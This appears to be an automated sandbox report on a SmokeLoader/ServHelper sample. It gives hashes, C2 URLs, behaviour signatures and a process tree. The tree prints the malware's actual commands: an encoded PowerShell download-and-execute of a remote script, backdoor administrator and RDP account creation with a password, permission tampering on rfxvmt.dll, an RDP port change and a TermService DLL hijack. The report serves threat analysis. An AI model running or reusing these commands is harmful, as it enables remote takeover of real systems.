Analysis

  • max time kernel
    153s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    19-10-2021 10:00

General

  • Target

    580fc5cd72d7979040fa1c4866ada3d0.exe

  • Size

    343KB

  • MD5

    580fc5cd72d7979040fa1c4866ada3d0

  • SHA1

    7da202d99be94f57f355c611bafde9656bca65b7

  • SHA256

    42e7ef551c652a5e6f0ff919fcb53cd2c34682006cb1436295205a41abec6589

  • SHA512

    b1be0be516e0d36c4b2e2f9e82e5cd94fecc86c39a4eee4494174f55e319a4c72d529e2aa097d3d466c5613df4106624fd689e6a1441e6be4a7bf9a15dc44815

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe
    "C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1536
  • C:\Users\Admin\AppData\Local\Temp\AF71.exe
    C:\Users\Admin\AppData\Local\Temp\AF71.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1420
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1044
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\9ah1oqfm.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD837.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD836.tmp"
          4⤵
            PID:992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:948
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1892
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1700
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1048
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1424
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:896
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1708
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1916
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1140
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1752
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1884
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1520
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1352
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:240
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1608
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                    PID:1428
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                        PID:1220
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          6⤵
                            PID:788
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      3⤵
                        PID:1680
                        • C:\Windows\system32\cmd.exe
                          cmd /c net start TermService
                          4⤵
                            PID:1580
                            • C:\Windows\system32\net.exe
                              net start TermService
                              5⤵
                                PID:1648
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 start TermService
                                  6⤵
                                    PID:1064
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                              3⤵
                                PID:1608
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                3⤵
                                  PID:756
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 000000 /del
                              1⤵
                                PID:968
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc 000000 /del
                                  2⤵
                                    PID:2016
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                      3⤵
                                        PID:1048
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe user WgaUtilAcc kWYmtx6k /add
                                    1⤵
                                      PID:1452
                                      • C:\Windows\system32\net.exe
                                        net.exe user WgaUtilAcc kWYmtx6k /add
                                        2⤵
                                          PID:1444
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user WgaUtilAcc kWYmtx6k /add
                                            3⤵
                                              PID:1708
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                          1⤵
                                            PID:1740
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              2⤵
                                                PID:524
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  3⤵
                                                    PID:1724
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                1⤵
                                                  PID:1152
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                    2⤵
                                                      PID:1352
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                        3⤵
                                                          PID:808
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                      1⤵
                                                        PID:1428
                                                        • C:\Windows\system32\net.exe
                                                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          2⤵
                                                            PID:976
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              3⤵
                                                                PID:960
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd /C net.exe user WgaUtilAcc kWYmtx6k
                                                            1⤵
                                                              PID:1992
                                                              • C:\Windows\system32\net.exe
                                                                net.exe user WgaUtilAcc kWYmtx6k
                                                                2⤵
                                                                  PID:1112
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user WgaUtilAcc kWYmtx6k
                                                                    3⤵
                                                                      PID:1612
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic path win32_VideoController get name
                                                                  1⤵
                                                                    PID:2012
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1488
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C wmic CPU get NAME
                                                                    1⤵
                                                                      PID:1608
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic CPU get NAME
                                                                        2⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1220
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      1⤵
                                                                        PID:1152
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          2⤵
                                                                            PID:1712
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              3⤵
                                                                              • Blocklisted process makes network request
                                                                              • Drops file in Windows directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1416

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • memory/892-104-0x00000000024EC000-0x000000000250B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/892-103-0x00000000024E0000-0x00000000024E2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/892-101-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/892-107-0x00000000024E7000-0x00000000024E8000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/892-106-0x00000000024E4000-0x00000000024E7000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/892-102-0x000000001B850000-0x000000001BB4F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/892-105-0x00000000024E2000-0x00000000024E4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/948-112-0x0000000002530000-0x0000000002532000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/948-117-0x000000000253C000-0x000000000255B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/948-114-0x0000000002537000-0x0000000002538000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/948-116-0x0000000002534000-0x0000000002537000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/948-113-0x0000000002532000-0x0000000002534000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/948-115-0x000000001B900000-0x000000001BBFF000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/948-111-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1044-84-0x00000000027EB000-0x000000000280A000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1044-87-0x000000000280D000-0x000000000280E000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1044-74-0x00000000027E4000-0x00000000027E7000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1044-73-0x00000000027E2000-0x00000000027E4000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1044-72-0x00000000027E0000-0x00000000027E2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1044-71-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1044-70-0x000007FEFC391000-0x000007FEFC393000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1356-58-0x00000000025F0000-0x0000000002606000-memory.dmp

                                                                          Filesize

                                                                          88KB

                                                                        • memory/1416-161-0x000000000130B000-0x000000000132A000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1416-163-0x0000000001304000-0x0000000001307000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1416-159-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1416-160-0x0000000001300000-0x0000000001302000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1416-162-0x0000000001302000-0x0000000001304000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1420-67-0x0000000041156000-0x0000000041157000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1420-63-0x00000000415D0000-0x00000000419CF000-memory.dmp

                                                                          Filesize

                                                                          4.0MB

                                                                        • memory/1420-68-0x0000000041157000-0x0000000041158000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1420-66-0x0000000041154000-0x0000000041156000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1420-65-0x0000000041152000-0x0000000041154000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1536-57-0x0000000000400000-0x0000000000788000-memory.dmp

                                                                          Filesize

                                                                          3.5MB

                                                                        • memory/1536-55-0x0000000075A71000-0x0000000075A73000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1536-56-0x00000000002B0000-0x00000000002B9000-memory.dmp

                                                                          Filesize

                                                                          36KB

                                                                        • memory/1536-54-0x000000000082B000-0x000000000083C000-memory.dmp

                                                                          Filesize

                                                                          68KB

                                                                        • memory/1552-95-0x0000000002677000-0x0000000002678000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1552-97-0x000000000267C000-0x000000000269B000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1552-91-0x000007FEEB580000-0x000007FEEC0DD000-memory.dmp

                                                                          Filesize

                                                                          11.4MB

                                                                        • memory/1552-94-0x0000000002674000-0x0000000002677000-memory.dmp

                                                                          Filesize

                                                                          12KB

                                                                        • memory/1552-93-0x0000000002672000-0x0000000002674000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1552-92-0x0000000002670000-0x0000000002672000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1552-96-0x000000001B790000-0x000000001BA8F000-memory.dmp

                                                                          Filesize

                                                                          3.0MB

                                                                        • memory/1628-85-0x0000000000570000-0x0000000000572000-memory.dmp

                                                                          Filesize

                                                                          8KB